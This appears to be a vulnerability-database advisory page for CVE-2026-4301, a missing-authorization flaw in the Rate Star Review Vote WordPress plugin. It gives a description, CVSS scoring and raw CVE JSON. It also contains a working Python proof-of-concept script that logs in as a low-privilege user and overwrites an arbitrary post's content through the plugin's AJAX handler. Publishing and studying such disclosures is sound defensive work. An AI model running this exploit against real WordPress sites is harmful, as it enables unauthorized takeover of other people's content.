Security Vulnerability Report
中文
CVE-2026-4301 CVSS 4.3 MEDIUM

CVE-2026-4301

Published: 2026-05-12 09:16:42
Last Modified: 2026-05-12 09:16:42

Description

The Rate Star Review Vote - AJAX Reviews, Votes, Star Ratings plugin for WordPress is vulnerable to Missing Authorization in all versions up to and including 1.6.4. The vwrsr_review() AJAX handler lacks both capability checks and nonce verification. The only access control is an is_user_logged_in() check. When the 'form' parameter is set to 'update', the function takes an arbitrary post ID from the user-supplied 'rating_id' GET parameter, sets it as the post ID in the update array, and passes it directly to wp_update_post(). This overwrites the target post's title, content, author (changed to the attacker's user ID), post_type (changed to the plugin's custom post type, default 'review'), and status. Additionally, update_post_meta() is called on the arbitrary post ID at lines 758-763, modifying its metadata. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify the title, content, author, post type, and metadata of arbitrary posts and pages on the site via the 'rating_id' parameter, effectively allowing full post content takeover.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Rate Star Review Vote <= 1.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" login_url = "http://example.com/wp-login.php" # Attacker credentials (Subscriber level) username = "attacker" password = "password" # The ID of the post to be hijacked target_post_id = "1" session = requests.Session() # Step 1: Authenticate payload = { 'log': username, 'pwd': password, 'redirect_to': 'http://example.com/wp-admin/', 'testcookie': '1' } session.post(login_url, data=payload) # Step 2: Exploit the vulnerability # The action triggers the vulnerable function exploit_data = { 'action': 'vwrsr_review', 'form': 'update', 'rating_id': target_post_id, # Arbitrary post ID to modify 'rating_title': 'Hacked by Attacker', 'rating_content': 'This content has been overwritten.' } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print(f"[+] Request sent. Check post ID {target_post_id} for modifications.") else: print("[-] Exploit failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4301", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:41.640", "lastModified": "2026-05-12T09:16:41.640", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Rate Star Review Vote - AJAX Reviews, Votes, Star Ratings plugin for WordPress is vulnerable to Missing Authorization in all versions up to and including 1.6.4. The vwrsr_review() AJAX handler lacks both capability checks and nonce verification. The only access control is an is_user_logged_in() check. When the 'form' parameter is set to 'update', the function takes an arbitrary post ID from the user-supplied 'rating_id' GET parameter, sets it as the post ID in the update array, and passes it directly to wp_update_post(). This overwrites the target post's title, content, author (changed to the attacker's user ID), post_type (changed to the plugin's custom post type, default 'review'), and status. Additionally, update_post_meta() is called on the arbitrary post ID at lines 758-763, modifying its metadata. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify the title, content, author, post type, and metadata of arbitrary posts and pages on the site via the 'rating_id' parameter, effectively allowing full post content takeover."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/rate-star-review/tags/1.6.4/rate-star-review.php#L730", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/rate-star-review/tags/1.6.4/rate-star-review.php#L754", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/rate-star-review/tags/1.6.4/rate-star-review.php#L758", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/rate-star-review/trunk/rate-star-review.php#L730", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/rate-star-review/trunk/rate-star-review.php#L754", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/rate-star-review/trunk/rate-star-review.php#L758", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/107cb15f-4b2e-4ed4-8e8a-4f716f4873db?source=cve", "source": "[email protected]"}]}}